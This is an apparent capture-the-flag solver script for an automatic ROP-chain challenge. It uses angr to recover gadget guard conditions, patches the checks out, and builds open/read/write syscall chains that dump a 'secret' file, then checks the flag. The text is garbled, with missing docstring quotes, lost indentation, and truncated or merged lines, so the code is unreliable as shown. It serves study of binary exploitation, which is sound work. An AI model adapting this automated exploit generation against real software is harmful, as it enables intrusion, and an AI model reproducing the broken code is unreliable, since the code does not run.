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# This is an automatic ropchain synthesis challenge, where each ROP gadget is guarded by complex
# conditions that input must satisfy. We solve this challenge as follows:
# - we dump the received gadgets into an ELF for ease of analysis
# - we go through and recover the conditions associated with each guard condition
# - we replace the condition code with the ret instructions, so that angrop uses those gadgets
# - we use angrop to automatically generate a ropchain
# - we postprocess the ropchain to add input to it so that it passes the gadget constraints
# All this has to run 5 times, and should output the contents of the "secret" file each time.
# After this, the server gives us the flag.
import subprocess
import struct
import base64
import time
import nose
import angr
import angrop #pylint:disable=unused-variable
import claripy
def make_elf(gadgets):
This function places the autogenerated gadgets into an ELF, so that angrop can easily analyze them.
the_bytes = base64.b64decode(gadgets)
for i in reversed(range(2, 20)):
the_bytes = the_bytes.replace(b'\xf4'*i, b'\xcc'*i)
the_bytes = the_bytes.replace(b'\xc3\xf4', b'\xc3\xcc')
print("gadgets length:", len(the_bytes))
the_bytes = the_bytes.ljust(4096, b"\xcc")
print("gadgets: %r" % the_bytes[:100])
the_nops = open('nop.elf', 'rb').read()
the_gadgets = the_nops.replace(b"\x90"*4096, the_bytes)
open('gadgets.elf', 'wb').write(the_gadgets)
def postprocess_chain(chain, guard_solutions):
This function post-processes the chains generated by angrop to insert input to pass
the conditions on each gadget. It takes two arguments:
chain - the ropchain returned by angrop
guard_solutions - the required inputs to satisfy the gadget checks
# we assemble the chain into bytes, since we will process it that way
payload = chain.payload_str()
# we iterate through the whole chain to fix up each gadget. The first 8
# bytes of the remaining "payload" string always correspond to the address
# of the next gadget in chain._gadgets
guarded_chain = payload[:8]
payload = payload[8:]
for g in chain._gadgets:
# each gadget records how it changes the stack, which is the amount of
# input that it pops from the payload, so we add that to our result
guarded_chain += payload[:g.stack_change - 8]
payload = payload[g.stack_change - 8:]
# now, we add the input to spatisfy the conditions for triggering the
# next gadget before going on to analyze it
guarded_chain += guard_solutions[g.addr]
guarded_chain += payload[:8]
payload = payload[8:]
assert len(payload) == 0
return guarded_chain
def get_gadgets():
This is where most of the magic happens -- get_gadgets loads our constructed ELF with
our gadgets, recovers the ropchain and the conditions, and fixes up the ropchain.
p = angr.Project('gadgets.elf')
# Amazingly, angr's CFG can deal with this franken-elf.
cfg = p.analyses.CFG()
# There is one gadget per function. We'll go through each one and recover the guard constraints (and replace
# the checks with int3 for angrop to function properly.
guard_solutions = { }
for f in cfg.functions.values():
if len(list(f.blocks)) <= 1:
# malformed function
# First, let's get the SimulationManager.
# Here, we set up a stack full of symbolic data so that we can resolve it for the necessary values later.
# We enable history tracking, since we'll use recorded actions to detect the input checks. Also, since
# we'll trigger random syscall gadgets, we tell angr to ignore unknown syscalls.
state = p.factory.blank_state(add_options=angr.options.refs | angr.options.resilience)
stack_words = [ claripy.BVS('w%d'%i, 64) for i in range(20) ], claripy.Concat(*stack_words))
# We symbolically explore the function. We are looking for the state that returns to an address popped off our
# symbolic stack, so we want to save unconstrained states.
sm = p.factory.simulation_manager(state, save_unconstrained=True)[0].rip = f.addr # this is a workaround for a perceived (maybe not actual) but in angr[0].ip = f.addr # same here
# Now, we figure out the guards on our unconstrained state.
good_state = sm.unconstrained[0]
# Get the variables that were actually used for the guards by looking at the expressions of the symbolic constraints.
# We know (from reversing) that each guard condition will contain one variable, so we just get the first from each.
symbolic_guard_guys = sorted(
(next(ast for ast in guard.recursive_leaf_asts if ast.symbolic) for guard in good_state.history.jump_guards if guard.symbolic),
key=lambda v: next(iter(v.variables))
# Find where the input checks start, since that's where our valid gadgets end. Note that it's probably possible
# to offset the gadgets in such a way as to skip the first check (and, thus, start the checks later), but we didn't
# need to explore that, so we didn't do it.
# We find the start of the checks by looking for the first memory read action that read out any of the variables
# that we identified as being part of our guard conditions.
start_of_checks = min(
for action in good_state.history.actions
if action.type == 'mem' and action.action == 'read' and ( & frozenset.union(*(a.variables for a in symbolic_guard_guys))
# Having identified the start of the checks and the separated out the variables that are checked,
# we save off inputs needed to pass the checks for any given gadget before the start of the checks.
# Since the checks pop data in order, we can just concat all the checked input.
for a in range(f.addr, start_of_checks):
guard_solutions[a] = good_state.solver.eval(claripy.Concat(*symbolic_guard_guys), cast_to=bytes)
# With the checks recovered, we now overwrite them with a ret, so that angrop considers the gadgets
# valid.
p.loader.memory.write_bytes(start_of_checks, '\xc3')
# With all the checks removed, we should be now be able to do automatically ROP.
r = p.analyses.ROP()
# We make three gadget chains: one to do an open, one to do a read, and one to do a write.
# We use the range [0xa00100, 0xa00f00] as scratch space for angrop. This is mapped writeable
# for us by the challenge binary. Also, kindly, the challenge binary pre-populates this menory
# region with "secret", which is the file that we need to cat out.
chains = [
r.do_syscall(2, (0xa00000, 0, 0), modifiable_memory_range=[0xa00100, 0xa00f00]), # this opens "secret", into file descriptor 3
r.do_syscall(0, (3, 0xa00000, 1024), modifiable_memory_range=[0xa00100, 0xa00f00]), # this reads from file descriptor 3
r.do_syscall(1, (1, 0xa00000), modifiable_memory_range=[0xa00100, 0xa00f00]) # this writes the read data to stdout
# As a sanity check, we make sure that none of our auto-generated chains contain gadgets inside the guard solutions.
# If they do, then the constraints that we generated above won't fly.
for chain in chains:
assert not [ g.addr for g in chain._gadgets if not g.addr in guard_solutions ]
# We postprocess each of the chains to insert the inputs that will pass the checks after each gadget.
guarded_chains = [ postprocess_chain(chain, guard_solutions) for chain in chains ]
# There is one more postprocessing step -- we need to write "secret" exactly, so we need to write out the number of bytes
# that read() returns. This means that we need to move the return value of read(), which is in rax, to the third argument of
# write(), rdx. Luckily, there is a "mov rdx, rax" gadget. We'll find it and insert it between the read and the write.
mov_gadget = next(g for g in r.gadgets if g.reg_moves and g.reg_moves[0].from_reg == 'rax' and g.reg_moves[0].to_reg == 'rdx')
mov_chain = struct.pack("<Q", mov_gadget.addr) + guard_solutions[mov_gadget.addr] #pylint:disable=no-member
guarded_chains.insert(2, mov_chain)
# We're ready! Return our post-processed chains.
final_payload = "".join(guarded_chains)
return final_payload
def test():
#r = pwn.remote('', 10000)
#r = pwn.process("./", stderr=2)
r = subprocess.Popen(["./"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
except OSError as e:
if e.errno == 12:
raise nose.SkipTest()
# We need to do the auto-rop thing 5 times.
for _ in range(5):
# Get the gadgets
gadgets = b""
while not gadgets.endswith(b'\n'):
read =
if not read:
raise Exception("server terminated unexpectedly")
gadgets += read
gadgets = gadgets.strip()
# Make our franken-elf
# Generate the gadgets
chain = get_gadgets()
# Send the gadgets
r.stdin.write(base64.b64encode(chain).encode() + b"\n")
# Make sure things are good
status =
assert status == b"OK"
# After 5 successful rop synths, the binary sends up the flag.
flag =
print("LOCAL FLAG:", flag)
assert flag == b'SECCON{HAHAHHAHAHAAHA}'
if __name__ == '__main__':